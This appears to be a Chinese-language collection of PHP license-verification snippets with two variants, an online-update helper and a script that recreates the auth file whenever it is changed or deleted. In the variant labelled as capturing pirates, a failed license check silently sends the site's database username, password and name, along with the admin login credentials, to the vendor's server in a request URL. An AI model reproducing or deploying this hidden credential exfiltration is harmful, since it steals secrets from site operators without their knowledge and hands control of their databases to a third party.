总共两套
一套带入库
一套不带




//带盗版入库
define('XXAUTH_ROOT', dirname(__FILE__).'/');
include_once(XXAUTH_ROOT.'authcode.php'); //须在存放授权代码目录内创建一个空白的authcode.php文件即可
define('authcode',$authcode);
define('SESSION_NAME','auth_session'); // auth_session为缓存名称可自定义
if(!isset($_SESSION[SESSION_NAME])){
    $domain = ''; //你的授权站域名，须带http(s)://结尾“/”不带
    $app_uid = ''; //你的应用UID
    $xxname = ''; //你的应用名称
    $query = xx_get_curl($domain."/check.php?url=".$_SERVER["HTTP_HOST"]."&authcode=".authcode."&app_uid=".$app_uid);
    $query = json_decode($query, true);
    if(is_array($query)){
        if ($query = json_decode(authcode(base64_decode($query['data']), 'DECODE', '这里换成应用授权密钥'),true)) {
            if ($query["code"] == 1) {
                $_SESSION[SESSION_NAME] = authcode(time(), 'ENCODE', '这里换成应用授权密钥');
            }else{
                file_get_contents($domain."/ajax.php?act=block&app_uid=".$app_uid."&url=".$_SERVER['HTTP_HOST']."&user=".$dbconfig['user']."&pwd=".$dbconfig['pwd']."&dbname=".$dbconfig['dbname']."&authcode=".$authcode."&site=".$xxname."&admin_user=".$conf['admin_user']."&admin_pass=".$conf['admin_pwd']."&encode=这里换成应用授权密钥");
                exit("<h3>".$query["msg"]."</h3>");
            }
        }else{
            exit("<h3>授权密钥链接失败，请到授权云端下载更新包覆盖</h3>");
        }
    }else{
        exit('<h3>云端服务器链接失败</h3>');
    }
}else{
    $result = authcode($_SESSION[SESSION_NAME], 'DECODE', '这里换成应用授权密钥');
    if(empty($result)){
        unset($_SESSION[SESSION_NAME]);
        exit('<h3>请刷新界面后重试~</h3>');
    }else{
        if(intval($result) + 43200 < time()){
            unset($_SESSION[SESSION_NAME]);
        }
    }
}

//不带
define('XXAUTH_ROOT', dirname(__FILE__).'/');
include_once(XXAUTH_ROOT.'authcode.php'); 
define('authcode',$authcode);
define('SESSION_NAME','auth_session'); 

if (!isset($_SESSION[SESSION_NAME])) {
    $domain = 'http://'; 
    $app_uid = '应用ID'; 
    $xxname = '应用名'; 

    $query = xx_get_curl($domain."/check.php?url=".$_SERVER["HTTP_HOST"]."&authcode=".authcode."&app_uid=".$app_uid);
    $query = json_decode($query, true);

    if (is_array($query)) {
        if ($query = json_decode(authcode(base64_decode($query['data']), 'DECODE', '这里换成应用授权密钥'),true)) {
            if ($query["code"] == 1) {
                $_SESSION[SESSION_NAME] = authcode(time(), 'ENCODE', '这里换成应用授权密钥');
            } else {
                file_get_contents("http://域名/ajax.php?act=block&url=".$_SERVER['HTTP_HOST']);
                exit("<h3>".$query["msg"]."</h3>");
            }
        } else {
            exit("<h3>授权密钥链接失败，请到授权云端下载更新包覆盖</h3>");
        }
    } else {
        exit('<h3>云端服务器链接失败</h3>');
    }
} else {
    $result = authcode($_SESSION[SESSION_NAME], 'DECODE', '这里换成应用授权密钥');

    if (empty($result)) {
        unset($_SESSION[SESSION_NAME]);
        exit('<h3>请刷新界面后重试~</h3>');
    } else {
        if (intval($result) + 43200 < time()) {
            unset($_SESSION[SESSION_NAME]);
        }
    }
}

/*
* 在线更新代码↓↓↓
*/
function update_version()
{
    $app_uid = '';//程序UID
    $query = curl_get("http://域名/check.php?url=".$_SERVER["HTTP_HOST"]."&authcode=".authcode."&ver=".VERSION."&app_uid=".$app_uid);
    $query = json_decode($query, true);
    if(is_array($query)){
    if ($query = json_decode(authcode(base64_decode($query['data']), 'DECODE', '授权密钥需要与后台填写的一致'),true)) {
        return $query;
        }
    }
    return false;
}

//在线更新文件内记得调用update_version函数
//示例：$res=update_version();
/*
* 版本号文件写法
* define('VERSION', '1000');

带变量的授权代码检测
<?php
define('ROOT', __DIR__); // 使用 __DIR__ 可以确保指向当前目录
$authFileName = 'auth.php';$authFilePath = ROOT . '/' . $authFileName;

$authCodeContent =<<<'AUTHCODE'
<?php
require_once 'Authorization.php';
define('XXAUTH_ROOT', dirname(__FILE__).'/');
include_once(XXAUTH_ROOT.'authcode.php'); 
define('authcode',$authcode);
define('SESSION_NAME','auth_session'); 

if (!isset($_SESSION[SESSION_NAME])) {
    $domain = 'http://'; 
    $app_uid = '应用ID'; 
    $xxname = '应用名'; 

    $query = xx_get_curl($domain."/check.php?url=".$_SERVER["HTTP_HOST"]."&authcode=".authcode."&app_uid=".$app_uid);
    $query = json_decode($query, true);

    if (is_array($query)) {
        if ($query = json_decode(authcode(base64_decode($query['data']), 'DECODE', '这里换成应用授权密钥'),true)) {
            if ($query["code"] == 1) {
                $_SESSION[SESSION_NAME] = authcode(time(), 'ENCODE', '这里换成应用授权密钥');
            } else {
                file_get_contents("http://域名/ajax.php?act=block&url=".$_SERVER['HTTP_HOST']);
                exit("<h3>".$query["msg"]."</h3>");
            }
        } else {
            exit("<h3>授权密钥链接失败，请到授权云端下载更新包覆盖</h3>");
        }
    } else {
        exit('<h3>云端服务器链接失败</h3>');
    }
} else {
    $result = authcode($_SESSION[SESSION_NAME], 'DECODE', '这里换成应用授权密钥');

    if (empty($result)) {
        unset($_SESSION[SESSION_NAME]);
        exit('<h3>请刷新界面后重试~</h3>');
    } else {
        if (intval($result) + 43200 < time()) {
            unset($_SESSION[SESSION_NAME]);
        }
    }
}
?>

AUTHCODE;

// 检查文件是否存在且内容正确
function checkAuthFile($filePath,$content) {
    if (file_exists($filePath)) {
        // 文件存在，检查内容是否正确
        $currentContent = file_get_contents($filePath);
        if ($currentContent !==$content) {
            // 内容不正确，尝试更新文件内容
            if (@file_put_contents($filePath,$content) !== false) {
                echo "文件 $authFileName 内容已被修改，已自动恢复到正确内容。<br>";
            } else {
                echo "文件 $authFileName 内容不正确，但无法恢复，请检查文件权限和路径。<br>";
            }
        }
    } else {
        // 文件不存在，尝试创建文件并写入内容
        if (@file_put_contents($filePath,$content) !== false) {
            echo "文件 $authFileName 不存在，已自动创建并写入正确内容。<br>";
        } else {
            echo "文件 $authFileName 不存在，但无法创建，请检查文件权限和路径。<br>";
        }
    }
}

checkAuthFile($authFilePath,$authCodeContent);
?>
